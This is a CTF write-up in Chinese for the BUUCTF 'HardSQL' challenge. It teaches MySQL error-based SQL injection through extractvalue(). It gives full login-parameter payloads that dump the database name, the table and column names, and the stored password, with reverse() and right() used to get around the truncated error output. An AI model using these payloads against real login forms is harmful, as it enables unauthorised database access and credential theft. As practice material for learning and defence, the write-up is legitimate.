[极客大挑战 2019]HardSQL 对mysql的报错注入

it2023-06-01  73

[极客大挑战 2019]BabySQL

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

了解报错注入可以去这个师傅的博客看看 链接:https://www.cnblogs.com/richardlee97/p/10617115.html

一、收集信息

登录界面是这样

Fuzz一下发现union过滤了,双写没用的 但还有extractvalue和updatexm没给过滤,多半是报错注入了

二、payload

check.php?username=a'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23&password=a

这句话我也不是很明白,但是它就是那么利用的,希望有大佬能够教我弄懂:) 稍微更改一下中间的select语句来利用

check.php? username=a'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e)))%23 &password=a

出表后出列

check.php? username=a'or(extractvalue(1,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e)))%23 &password=a

然后直接读读看

check.php? username=a'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))%23 &password=a

搞不懂为什么只有一部分,可能长度限制了吧 看了王叹之师傅的博客发现评论说updatexml和extractvalue可能都只返回32个字符,所以才显示不全 当然也参考了一下解决方法!

可以用reverse来反转读

check.php? username=a'or(extractvalue(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)),0x7e)))%23 &password=a

虽然能拼接,但是很难看

也可以拿right()函数来读到剩下的

check.php? username=a'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e)))%23 &password=a

这就好看多了!

总结

还是缺乏对注入类型的判断经验,写这篇博客也是边写边做 总的来说还是收获颇多! 感谢BUUCTF提供的平台练习!

最新回复(0)